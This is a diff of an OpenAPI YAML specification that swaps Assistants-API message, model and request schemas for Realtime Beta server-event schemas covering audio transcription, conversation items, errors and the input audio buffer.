- MessageContentTextAnnotationsFilePathObject:
- title: File path
+ - item_id
+ x-oaiMeta:
+ name: conversation.item.deleted
+ group: realtime
+ example: |
+ {
+ "event_id": "event_2728",
+ "type": "conversation.item.deleted",
+ "item_id": "msg_005"
+ }
+ RealtimeBetaServerEventConversationItemInputAudioTranscriptionCompleted:
type: object
- description: A URL for the file that's generated when the assistant used the `code_interpreter` tool to generate a file.
+ description: |
+ This event is the output of audio transcription for user audio written to the
+ user audio buffer. Transcription begins when the input audio buffer is
+ committed by the client or server (in `server_vad` mode). Transcription runs
+ asynchronously with Response creation, so this event may come before or after
+ the Response events.
+
+ Realtime API models accept audio natively, and thus input transcription is a
+ separate process run on a separate ASR (Automatic Speech Recognition) model.
+ The transcript may diverge somewhat from the model's interpretation, and
+ should be treated as a rough guide.
properties:
- type:
- description: Always `file_path`.
- type: string
- enum:
- - file_path
- x-stainless-const: true
- text:
- description: The text in the message content that needs to be replaced.
+ event_id:
type: string
- file_path:
- type: object
- properties:
- file_id:
- description: The ID of the file that was generated.
- type: string
- required:
- - file_id
- start_index:
- type: integer
- minimum: 0
- end_index:
- type: integer
- minimum: 0
- required:
- - type
- - text
- - file_path
- - start_index
- - end_index
- MessageContentTextObject:
- title: Text
- type: object
- description: The text content that is part of a message.
- properties:
+ description: The unique ID of the server event.
type:
- description: Always `text`.
type: string
enum:
- - text
+ - conversation.item.input_audio_transcription.completed
+ description: |
+ The event type, must be
+ `conversation.item.input_audio_transcription.completed`.
x-stainless-const: true
- text:
- type: object
- properties:
- value:
- description: The data that makes up the text.
- type: string
- annotations:
- type: array
- items:
- $ref: '#/components/schemas/TextAnnotation'
- required:
- - value
- - annotations
- required:
- - type
- - text
- MessageDeltaContentImageFileObject:
- title: Image file
- type: object
- description: References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
- properties:
- index:
- type: integer
- description: The index of the content part in the message.
- type:
- description: Always `image_file`.
+ item_id:
type: string
- enum:
- - image_file
- x-stainless-const: true
- image_file:
- type: object
- properties:
- file_id:
- description: The [File](https://developers.openai.com/api/reference/resources/files) ID of the image in the message content. Set `purpose="vision"` when uploading the File if you need to later display the file content.
- type: string
- detail:
- type: string
- description: Specifies the detail level of the image if specified by the user. `low` uses fewer tokens, you can opt in to high resolution using `high`.
- enum:
- - auto
- - low
- - high
- default: auto
- required:
- - index
- - type
- MessageDeltaContentImageUrlObject:
- title: Image URL
- type: object
- description: References an image URL in the content of a message.
- properties:
- index:
+ description: The ID of the user message item containing the audio.
+ content_index:
type: integer
- description: The index of the content part in the message.
- type:
- description: Always `image_url`.
+ description: The index of the content part containing the audio.
+ transcript:
type: string
- enum:
- - image_url
- x-stainless-const: true
- image_url:
+ description: The transcribed text.
+ languages:
+ type: array
+ description: |
+ The languages detected in the audio. Returned by `gpt-transcribe`. An empty array indicates that no language could be reliably detected.
+ items:
+ $ref: '#/components/schemas/TranscriptionLanguage'
+ logprobs:
+ anyOf:
+ - type: array
+ description: The log probabilities of the transcription.
+ items:
+ $ref: '#/components/schemas/LogProbProperties'
+ - type: 'null'
+ usage:
type: object
- properties:
- url:
- description: 'The URL of the image, must be a supported image types: jpeg, jpg, png, gif, webp.'
- type: string
- format: uri
- detail:
- type: string
- description: Specifies the detail level of the image. `low` uses fewer tokens, you can opt in to high resolution using `high`.
- enum:
- - auto
- - low
- - high
- default: auto
+ description: Usage statistics for the transcription.
+ anyOf:
+ - $ref: '#/components/schemas/TranscriptTextUsageTokens'
+ title: Token Usage
+ - $ref: '#/components/schemas/TranscriptTextUsageDuration'
+ title: Duration Usage
required:
- - index
+ - event_id
- type
- MessageDeltaContentRefusalObject:
- title: Refusal
+ - item_id
+ - content_index
+ - transcript
+ - usage
+ x-oaiMeta:
+ name: conversation.item.input_audio_transcription.completed
+ group: realtime
+ example: |
+ {
+ "event_id": "event_2122",
+ "type": "conversation.item.input_audio_transcription.completed",
+ "item_id": "msg_003",
+ "content_index": 0,
+ "transcript": "Hello, how are you?",
+ "usage": {
+ "type": "tokens",
+ "total_tokens": 48,
+ "input_tokens": 38,
+ "input_token_details": {
+ "text_tokens": 10,
+ "audio_tokens": 28,
+ },
+ "output_tokens": 10,
+ }
+ }
+ RealtimeBetaServerEventConversationItemInputAudioTranscriptionDelta:
type: object
- description: The refusal content that is part of a message.
+ description: |
+ Returned when the text value of an input audio transcription content part is updated.
properties:
- index:
- type: integer
- description: The index of the refusal part in the message.
- type:
- description: Always `refusal`.
- type: string
- enum:
- - refusal
- x-stainless-const: true
- refusal:
+ event_id:
type: string
- required:
- - index
- - type
- MessageDeltaContentTextAnnotationsFileCitationObject:
- title: File citation
- type: object
- description: A citation within the message that points to a specific quote from a specific File associated with the assistant or the message. Generated when the assistant uses the "file_search" tool to search files.
- properties:
- index:
- type: integer
- description: The index of the annotation in the text content part.
+ description: The unique ID of the server event.
type:
- description: Always `file_citation`.
- type: string
- enum:
- - file_citation
x-stainless-const: true
- text:
- description: The text in the message content that needs to be replaced.
+ description: The event type, must be `conversation.item.input_audio_transcription.delta`.
+ const: conversation.item.input_audio_transcription.delta
+ item_id:
type: string
- file_citation:
- type: object
- properties:
- file_id:
- description: The ID of the specific File the citation is from.
- type: string
- quote:
- description: The specific quote in the file.
- type: string
- start_index:
- type: integer
- minimum: 0
- end_index:
- type: integer
- minimum: 0
- required:
- - index
- - type
- MessageDeltaContentTextAnnotationsFilePathObject:
- title: File path
- type: object
- description: A URL for the file that's generated when the assistant used the `code_interpreter` tool to generate a file.
- properties:
- index:
+ description: The ID of the item.
+ content_index:
type: integer
- description: The index of the annotation in the text content part.
- type:
- description: Always `file_path`.
- type: string
- enum:
- - file_path
- x-stainless-const: true
- text:
- description: The text in the message content that needs to be replaced.
+ description: The index of the content part in the item's content array.
+ delta:
type: string
- file_path:
- type: object
- properties:
- file_id:
- description: The ID of the file that was generated.
- type: string
- start_index:
- type: integer
- minimum: 0
- end_index:
- type: integer
- minimum: 0
+ description: The text delta.
+ logprobs:
+ anyOf:
+ - type: array
+ description: The log probabilities of the transcription.
+ items:
+ $ref: '#/components/schemas/LogProbProperties'
+ - type: 'null'
required:
- - index
+ - event_id
- type
- MessageDeltaContentTextObject:
- title: Text
+ - item_id
+ x-oaiMeta:
+ name: conversation.item.input_audio_transcription.delta
+ group: realtime
+ example: |
+ {
+ "type": "conversation.item.input_audio_transcription.delta",
+ "event_id": "event_001",
+ "item_id": "item_001",
+ "content_index": 0,
+ "delta": "Hello"
+ }
+ RealtimeBetaServerEventConversationItemInputAudioTranscriptionFailed:
type: object
- description: The text content that is part of a message.
+ description: "Returned when input audio transcription is configured, and a transcription \nrequest for a user message failed. These events are separate from other \n`error` events so that the client can identify the related Item.\n"
properties:
- index:
- type: integer
- description: The index of the content part in the message.
+ event_id:
+ type: string
+ description: The unique ID of the server event.
type:
- description: Always `text`.
type: string
enum:
- - text
+ - conversation.item.input_audio_transcription.failed
+ description: |
+ The event type, must be
+ `conversation.item.input_audio_transcription.failed`.
x-stainless-const: true
- text:
+ item_id:
+ type: string
+ description: The ID of the user message item.
+ content_index:
+ type: integer
+ description: The index of the content part containing the audio.
+ error:
type: object
+ description: Details of the transcription error.
properties:
- value:
- description: The data that makes up the text.
+ type:
type: string
- annotations:
- type: array
- items:
- $ref: '#/components/schemas/TextAnnotationDelta'
+ description: The type of error.
+ code:
+ type: string
+ description: Error code, if any.
+ message:
+ type: string
+ description: A human-readable error message.
+ param:
+ type: string
+ description: Parameter related to the error, if any.
required:
- - index
+ - event_id
- type
- MessageDeltaObject:
+ - item_id
+ - content_index
+ - error
+ x-oaiMeta:
+ name: conversation.item.input_audio_transcription.failed
+ group: realtime
+ example: |
+ {
+ "event_id": "event_2324",
+ "type": "conversation.item.input_audio_transcription.failed",
+ "item_id": "msg_003",
+ "content_index": 0,
+ "error": {
+ "type": "transcription_error",
+ "code": "audio_unintelligible",
+ "message": "The audio could not be transcribed.",
+ "param": null
+ }
+ }
+ RealtimeBetaServerEventConversationItemInputAudioTranscriptionSegment:
type: object
- title: Message delta object
- description: |
- Represents a message delta i.e. any changed fields on a message during streaming.
+ description: Returned when an input audio transcription segment is identified for an item.
properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `conversation.item.input_audio_transcription.segment`.
+ const: conversation.item.input_audio_transcription.segment
+ item_id:
+ type: string
+ description: The ID of the item containing the input audio content.
+ content_index:
+ type: integer
+ description: The index of the input audio content part within the item.
+ text:
+ type: string
+ description: The text for this segment.
id:
- description: The identifier of the message, which can be referenced in API endpoints.
type: string
- object:
- description: The object type, which is always `thread.message.delta`.
+ description: The segment identifier.
+ speaker:
type: string
- enum:
- - thread.message.delta
- x-stainless-const: true
- delta:
- description: The delta containing the fields that have changed on the Message.
- type: object
- properties:
- role:
- description: The entity that produced the message. One of `user` or `assistant`.
- type: string
- enum:
- - user
- - assistant
- content:
- description: The content of the message in array of text and/or images.
- type: array
- items:
- $ref: '#/components/schemas/MessageContentDelta'
+ description: The detected speaker label for this segment.
+ start:
+ type: number
+ format: double
+ description: Start time of the segment in seconds.
+ end:
+ type: number
+ format: double
+ description: End time of the segment in seconds.
required:
+ - event_id
+ - type
+ - item_id
+ - content_index
+ - text
- id
- - object
- - delta
+ - speaker
+ - start
+ - end
x-oaiMeta:
- name: The message delta object
- beta: true
+ name: conversation.item.input_audio_transcription.segment
+ group: realtime
example: |
{
- "id": "msg_123",
- "object": "thread.message.delta",
- "delta": {
- "content": [
- {
- "index": 0,
- "type": "text",
- "text": { "value": "Hello", "annotations": [] }
- }
- ]
- }
+ "event_id": "event_6501",
+ "type": "conversation.item.input_audio_transcription.segment",
+ "item_id": "msg_011",
+ "content_index": 0,
+ "text": "hello",
+ "id": "seg_0001",
+ "speaker": "spk_1",
+ "start": 0.0,
+ "end": 0.4
}
- MessageObject:
+ RealtimeBetaServerEventConversationItemRetrieved:
type: object
- title: The message object
- description: Represents a message within a [thread](https://developers.openai.com/api/docs/assistants/migration).
+ description: |
+ Returned when a conversation item is retrieved with `conversation.item.retrieve`.
properties:
- id:
- description: The identifier, which can be referenced in API endpoints.
- type: string
- object:
- description: The object type, which is always `thread.message`.
+ event_id:
type: string
- enum:
- - thread.message
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- created_at:
- description: The Unix timestamp (in seconds) for when the message was created.
- type: integer
- format: unixtime
- thread_id:
- description: The [thread](https://developers.openai.com/api/docs/assistants/migration) ID that this message belongs to.
- type: string
- status:
- description: The status of the message, which can be either `in_progress`, `incomplete`, or `completed`.
- type: string
- enum:
- - in_progress
- - incomplete
- - completed
- incomplete_details:
- anyOf:
- - description: On an incomplete message, details about why the message is incomplete.
- type: object
- properties:
- reason:
- type: string
- description: The reason the message is incomplete.
- enum:
- - content_filter
- - max_tokens
- - run_cancelled
- - run_expired
- - run_failed
- required:
- - reason
- - type: 'null'
- completed_at:
- anyOf:
- - description: The Unix timestamp (in seconds) for when the message was completed.
- type: integer
- format: unixtime
- - type: 'null'
- incomplete_at:
- anyOf:
- - description: The Unix timestamp (in seconds) for when the message was marked as incomplete.
- type: integer
- format: unixtime
- - type: 'null'
- role:
- description: The entity that produced the message. One of `user` or `assistant`.
- type: string
- enum:
- - user
- - assistant
- content:
- description: The content of the message in array of text and/or images.
- type: array
- items:
- $ref: '#/components/schemas/MessageContent'
- assistant_id:
- anyOf:
- - description: If applicable, the ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) that authored this message.
- type: string
- - type: 'null'
- run_id:
- anyOf:
- - description: The ID of the [run](https://developers.openai.com/api/docs/assistants/migration) associated with the creation of this message. Value is `null` when messages are created manually using the create message or create thread endpoints.
- type: string
- - type: 'null'
- attachments:
- anyOf:
- - type: array
- items:
- type: object
- properties:
- file_id:
- type: string
- description: The ID of the file to attach to the message.
- tools:
- description: The tools to add this file to.
- type: array
- items:
- anyOf:
- - $ref: '#/components/schemas/AssistantToolsCode'
- - $ref: '#/components/schemas/AssistantToolsFileSearchTypeOnly'
- description: A list of files attached to the message, and the tools they were added to.
- - type: 'null'
- metadata:
- $ref: '#/components/schemas/Metadata'
+ description: The event type, must be `conversation.item.retrieved`.
+ const: conversation.item.retrieved
+ item:
+ $ref: '#/components/schemas/RealtimeConversationItem'
required:
- - id
- - object
- - created_at
- - thread_id
- - status
- - incomplete_details
- - completed_at
- - incomplete_at
- - role
- - content
- - assistant_id
- - run_id
- - attachments
- - metadata
+ - event_id
+ - type
+ - item
x-oaiMeta:
- name: The message object
- beta: true
+ name: conversation.item.retrieved
+ group: realtime
example: |
{
- "id": "msg_abc123",
- "object": "thread.message",
- "created_at": 1698983503,
- "thread_id": "thread_abc123",
- "role": "assistant",
- "content": [
- {
- "type": "text",
- "text": {
- "value": "Hi! How can I help you today?",
- "annotations": []
- }
+ "event_id": "event_1920",
+ "type": "conversation.item.created",
+ "previous_item_id": "msg_002",
+ "item": {
+ "id": "msg_003",
+ "object": "realtime.item",
+ "type": "message",
+ "status": "completed",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_audio",
+ "transcript": "hello how are you",
+ "audio": "base64encodedaudio=="
+ }
+ ]
}
- ],
- "assistant_id": "asst_abc123",
- "run_id": "run_abc123",
- "attachments": [],
- "metadata": {}
}
- MessagePhase:
- type: string
- description: |
- Labels an `assistant` message as intermediate commentary (`commentary`) or the final answer (`final_answer`).
- For models like `gpt-5.3-codex` and beyond, when sending follow-up requests, preserve and resend
- phase on all assistant messages — dropping it can degrade performance. Not used for user messages.
- enum:
- - commentary
- - final_answer
- MessageRequestContentTextObject:
- title: Text
+ RealtimeBetaServerEventConversationItemTruncated:
type: object
- description: The text content that is part of a message.
+ description: "Returned when an earlier assistant audio message item is truncated by the \nclient with a `conversation.item.truncate` event. This event is used to \nsynchronize the server's understanding of the audio with the client's playback.\n\nThis action will truncate the audio and remove the server-side text transcript \nto ensure there is no text in the context that hasn't been heard by the user.\n"
properties:
- type:
- description: Always `text`.
+ event_id:
type: string
- enum:
- - text
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- text:
+ description: The event type, must be `conversation.item.truncated`.
+ const: conversation.item.truncated
+ item_id:
type: string
- description: Text content to be sent to the model
+ description: The ID of the assistant message item that was truncated.
+ content_index:
+ type: integer
+ description: The index of the content part that was truncated.
+ audio_end_ms:
+ type: integer
+ description: |
+ The duration up to which the audio was truncated, in milliseconds.
required:
+ - event_id
- type
- - text
- MessageStreamEvent:
- anyOf:
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.message.created
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/MessageObject'
- required:
- - event
- - data
- description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) is created.
- x-oaiMeta:
- dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.message.in_progress
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/MessageObject'
- required:
- - event
- - data
- description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` state.
- x-oaiMeta:
- dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.message.delta
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/MessageDeltaObject'
- required:
- - event
- - data
- description: Occurs when parts of a [Message](https://developers.openai.com/api/docs/assistants/migration) are being streamed.
- x-oaiMeta:
- dataDescription: '`data` is a [message delta](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.message.completed
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/MessageObject'
- required:
- - event
- - data
- description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) is completed.
- x-oaiMeta:
- dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.message.incomplete
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/MessageObject'
- required:
- - event
- - data
- description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) ends before it is completed.
- x-oaiMeta:
- dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
- discriminator:
- propertyName: event
- Metadata:
- anyOf:
- - type: object
- description: |
- Set of 16 key-value pairs that can be attached to an object. This can be
- useful for storing additional information about the object in a structured
- format, and querying for objects via API or the dashboard.
-
- Keys are strings with a maximum length of 64 characters. Values are strings
- with a maximum length of 512 characters.
- additionalProperties:
+ - item_id
+ - content_index
+ - audio_end_ms
+ x-oaiMeta:
+ name: conversation.item.truncated
+ group: realtime
+ example: |
+ {
+ "event_id": "event_2526",
+ "type": "conversation.item.truncated",
+ "item_id": "msg_004",
+ "content_index": 0,
+ "audio_end_ms": 1500
+ }
+ RealtimeBetaServerEventError:
+ type: object
+ description: |
+ Returned when an error occurs, which could be a client problem or a server
+ problem. Most errors are recoverable and the session will stay open, we
+ recommend to implementors to monitor and log error messages by default.
+ properties:
+ event_id:
type: string
- x-oaiTypeLabel: map
- - type: 'null'
- Model:
- title: Model
- description: Describes an OpenAI model offering that can be used with the API.
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `error`.
+ const: error
+ error:
+ type: object
+ description: Details of the error.
+ required:
+ - type
+ - message
+ properties:
+ type:
+ type: string
+ description: |
+ The type of error (e.g., "invalid_request_error", "server_error").
+ code:
+ anyOf:
+ - type: string
+ description: Error code, if any.
+ - type: 'null'
+ message:
+ type: string
+ description: A human-readable error message.
+ param:
+ anyOf:
+ - type: string
+ description: Parameter related to the error, if any.
+ - type: 'null'
+ event_id:
+ anyOf:
+ - type: string
+ description: |
+ The event_id of the client event that caused the error, if applicable.
+ - type: 'null'
+ required:
+ - event_id
+ - type
+ - error
+ x-oaiMeta:
+ name: error
+ group: realtime
+ example: |
+ {
+ "event_id": "event_890",
+ "type": "error",
+ "error": {
+ "type": "invalid_request_error",
+ "code": "invalid_event",
+ "message": "The 'type' field is missing.",
+ "param": null,
+ "event_id": "event_567"
+ }
+ }
+ RealtimeBetaServerEventInputAudioBufferCleared:
+ type: object
+ description: "Returned when the input audio buffer is cleared by the client with a \n`input_audio_buffer.clear` event.\n"
properties:
- id:
- type: string
- description: The model identifier, which can be referenced in the API endpoints.
- created:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) when the model was created.
- object:
+ event_id:
type: string
- description: The object type, which is always "model".
- enum:
- - model
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- owned_by:
- type: string
- description: The organization that owns the model.
- shutdown_date:
- anyOf:
- - type: string
- format: date
- - type: 'null'
- description: The date when the model will shut down, or null if not announced.
+ description: The event type, must be `input_audio_buffer.cleared`.
+ const: input_audio_buffer.cleared
required:
- - id
- - object
- - created
- - owned_by
+ - event_id
+ - type
x-oaiMeta:
- name: The model object
+ name: input_audio_buffer.cleared
+ group: realtime
example: |
{
- "id": "gpt-6-astra",
- "object": "model",
- "created": 1686935002,
- "owned_by": "openai",
- "shutdown_date": "2026-10-23"
+ "event_id": "event_1314",
+ "type": "input_audio_buffer.cleared"
}
- ModelIds:
- anyOf:
- - $ref: '#/components/schemas/ModelIdsShared'
- - $ref: '#/components/schemas/ModelIdsResponses'
- ModelIdsCompaction:
- anyOf:
- - $ref: '#/components/schemas/ModelIdsResponses'
- - type: string
- - type: 'null'
- description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
- ModelIdsLive:
- description: The Live model. Required in the session configuration for every transport; do not pass it as a URL query parameter.
- example: gpt-live-1
- anyOf:
- - type: string
- minLength: 1
- - type: string
- enum:
- - gpt-live-1
- ModelIdsResponses:
- example: gpt-6-astra
- anyOf:
- - $ref: '#/components/schemas/ModelIdsShared'
- - type: string
- title: ResponsesOnlyModel
- enum:
- - o1-pro
- - o1-pro-2025-03-19
- - o3-pro
- - o3-pro-2025-06-10
- - o3-deep-research
- - o3-deep-research-2025-06-26
- - o4-mini-deep-research
- - o4-mini-deep-research-2025-06-26
- - computer-use-preview
- - computer-use-preview-2025-03-11
- - gpt-5.5-pro
- - gpt-5.5-pro-2026-04-23
- - gpt-5-codex
- - gpt-5-pro
- - gpt-5-pro-2025-10-06
- - gpt-5.1-codex-max
- - gpt-daybreak-blue-latest
- - gpt-daybreak-red-latest
- - gpt-5.6-cyber
- ModelIdsShared:
- example: gpt-6-astra
- anyOf:
- - type: string
- - $ref: '#/components/schemas/ChatModel'
- ModelResponseProperties:
+ RealtimeBetaServerEventInputAudioBufferCommitted:
type: object
+ description: |
+ Returned when an input audio buffer is committed, either by the client or
+ automatically in server VAD mode. The `item_id` property is the ID of the user
+ message item that will be created, thus a `conversation.item.created` event
+ will also be sent to the client.
properties:
- metadata:
- $ref: '#/components/schemas/Metadata'
- top_logprobs:
- anyOf:
- - description: |
- An integer between 0 and 20 specifying the maximum number of most likely
- tokens to return at each token position, each with an associated log
- probability. In some cases, the number of returned tokens may be fewer than
- requested.
- type: integer
- minimum: 0
- maximum: 20
- - type: 'null'
- temperature:
- anyOf:
- - type: number
- minimum: 0
- maximum: 2
- default: 1
- example: 1
- description: |
- What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
- We generally recommend altering this or `top_p` but not both.
- - type: 'null'
- top_p:
- anyOf:
- - type: number
- minimum: 0
- maximum: 1
- default: 1
- example: 1
- description: |
- An alternative to sampling with temperature, called nucleus sampling,
- where the model considers the results of the tokens with top_p probability
- mass. So 0.1 means only the tokens comprising the top 10% probability mass
- are considered.
-
- We generally recommend altering this or `temperature` but not both.
- - type: 'null'
- user:
+ event_id:
type: string
- example: user-1234
- deprecated: true
- description: |
- This field is being replaced by `safety_identifier` and `prompt_cache_key`. Use `prompt_cache_key` instead to maintain caching optimizations.
- A stable identifier for your end-users.
- Used to boost cache hit rates by better bucketing similar requests and to help OpenAI detect and prevent abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
- safety_identifier:
- anyOf:
- - type: string
- maxLength: 64
- example: safety-identifier-1234
- description: |
- A stable identifier used to help detect users of your application that may be violating OpenAI's usage policies.
- The IDs should be a string that uniquely identifies each user, with a maximum length of 64 characters. We recommend hashing their username or email address, in order to avoid sending us any identifying information. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
- - type: 'null'
- prompt_cache_key:
- anyOf:
- - type: string
- example: prompt-cache-key-1234
- description: |
- Used by OpenAI to cache responses for similar requests to optimize your cache hit rates. Replaces the `user` field. [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
- - type: 'null'
- prompt_cache_retention:
- deprecated: true
- anyOf:
- - type: string
- enum:
- - in_memory
- - 24h
- description: |
- Deprecated. Use `prompt_cache_options.ttl` instead.
-
- The retention policy for the prompt cache. Set to `24h` to enable extended prompt caching, which keeps cached prefixes active for longer, up to a maximum of 24 hours. [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
- This field expresses a maximum retention policy, while
- `prompt_cache_options.ttl` expresses a minimum cache lifetime. The two
- fields are independent and do not interact.
- For `gpt-5.5`, `gpt-5.5-pro`, and future models, only `24h` is supported.
-
- For older models that support both `in_memory` and `24h`, the default depends on your organization's data retention policy:
- - Organizations without ZDR enabled default to `24h`.
- - Organizations with ZDR enabled default to `in_memory` when `prompt_cache_retention` is not specified.
- - type: 'null'
- ModifyAssistantRequest:
- type: object
- additionalProperties: false
- properties:
- model:
- description: |
- ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `input_audio_buffer.committed`.
+ const: input_audio_buffer.committed
+ previous_item_id:
anyOf:
- type: string
- - $ref: '#/components/schemas/AssistantSupportedModels'
- reasoning_effort:
- $ref: '#/components/schemas/ReasoningEffort'
- name:
- anyOf:
- - description: |
- The name of the assistant. The maximum length is 256 characters.
- type: string
- maxLength: 256
- - type: 'null'
- description:
- anyOf:
- - description: |
- The description of the assistant. The maximum length is 512 characters.
- type: string
- maxLength: 512
- - type: 'null'
- instructions:
- anyOf:
- - description: |
- The system instructions that the assistant uses. The maximum length is 256,000 characters.
- type: string
- maxLength: 256000
- - type: 'null'
- tools:
- description: |
- A list of tool enabled on the assistant. There can be a maximum of 128 tools per assistant. Tools can be of types `code_interpreter`, `file_search`, or `function`.
- default: []
- type: array
- maxItems: 128
- items:
- $ref: '#/components/schemas/AssistantTool'
- tool_resources:
- anyOf:
- - type: object
- description: |
- A set of resources that are used by the assistant's tools. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
- properties:
- code_interpreter:
- type: object
- properties:
- file_ids:
- type: array
- description: |
- Overrides the list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
- default: []
- maxItems: 20
- items:
- type: string
- file_search:
- type: object
- properties:
- vector_store_ids:
- type: array
- description: |
- Overrides the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
- maxItems: 1
- items:
- type: string
- - type: 'null'
- metadata:
- $ref: '#/components/schemas/Metadata'
- temperature:
- anyOf:
- - description: |
- What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
- type: number
- minimum: 0
- maximum: 2
- default: 1
- example: 1
- - type: 'null'
- top_p:
- anyOf:
- - type: number
- minimum: 0
- maximum: 1
- default: 1
- example: 1
description: |
- An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
-
- We generally recommend altering this or temperature but not both.
- - type: 'null'
- response_format:
- anyOf:
- - $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
+ The ID of the preceding item after which the new item will be inserted.
+ Can be `null` if the item has no predecessor.
- type: 'null'
- ModifyCertificateRequest:
- type: object
- properties:
- name:
+ item_id:
type: string
- description: The updated name for the certificate
- ModifyMessageRequest:
- type: object
- additionalProperties: false
- properties:
- metadata:
- $ref: '#/components/schemas/Metadata'
- ModifyRunRequest:
- type: object
- additionalProperties: false
- properties:
- metadata:
- $ref: '#/components/schemas/Metadata'
- ModifyThreadRequest:
+ description: The ID of the user message item that will be created.
+ required:
+ - event_id
+ - type
+ - item_id
+ x-oaiMeta:
+ name: input_audio_buffer.committed
+ group: realtime
+ example: |
+ {
+ "event_id": "event_1121",
+ "type": "input_audio_buffer.committed",
+ "previous_item_id": "msg_001",
+ "item_id": "msg_002"
+ }
+ RealtimeBetaServerEventInputAudioBufferSpeechStarted:
type: object
- additionalProperties: false
- properties:
- tool_resources:
- anyOf:
- - type: object
- description: |
- A set of resources that are made available to the assistant's tools in this thread. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
- properties:
- code_interpreter:
- type: object
- properties:
- file_ids:
- type: array
- description: |
- A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
- default: []
- maxItems: 20
- items:
- type: string
- file_search:
- type: object
- properties:
- vector_store_ids:
- type: array
- description: |
- The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
- maxItems: 1
- items:
- type: string
- - type: 'null'
- metadata:
- $ref: '#/components/schemas/Metadata'
- NoiseReductionType:
- type: string
- enum:
- - near_field
- - far_field
- description: |
- Type of noise reduction. `near_field` is for close-talking microphones such as headphones, `far_field` is for far-field microphones such as laptop or conference room microphones.
- OpenAIFile:
- title: OpenAIFile
- description: The `File` object represents a document that has been uploaded to OpenAI.
+ description: "Sent by the server when in `server_vad` mode to indicate that speech has been \ndetected in the audio buffer. This can happen any time audio is added to the \nbuffer (unless speech is already detected). The client may want to use this \nevent to interrupt audio playback or provide visual feedback to the user. \n\nThe client should expect to receive a `input_audio_buffer.speech_stopped` event \nwhen speech stops. The `item_id` property is the ID of the user message item \nthat will be created when speech stops and will also be included in the \n`input_audio_buffer.speech_stopped` event (unless the client manually commits \nthe audio buffer during VAD activation).\n"
properties:
- id:
+ event_id:
type: string
- description: The file identifier, which can be referenced in the API endpoints.
- bytes:
- type: integer
- description: The size of the file, in bytes.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the file was created.
- expires_at:
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `input_audio_buffer.speech_started`.
+ const: input_audio_buffer.speech_started
+ audio_start_ms:
type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the file will expire.
- filename:
+ description: "Milliseconds from the start of all audio written to the buffer during the \nsession when speech was first detected. This will correspond to the \nbeginning of audio sent to the model, and thus includes the \n`prefix_padding_ms` configured in the Session.\n"
+ item_id:
type: string
- description: The name of the file.
- object:
+ description: |
+ The ID of the user message item that will be created when speech stops.
+ required:
+ - event_id
+ - type
+ - audio_start_ms
+ - item_id
+ x-oaiMeta:
+ name: input_audio_buffer.speech_started
+ group: realtime
+ example: |
+ {
+ "event_id": "event_1516",
+ "type": "input_audio_buffer.speech_started",
+ "audio_start_ms": 1000,
+ "item_id": "msg_003"
+ }
+ RealtimeBetaServerEventInputAudioBufferSpeechStopped:
+ type: object
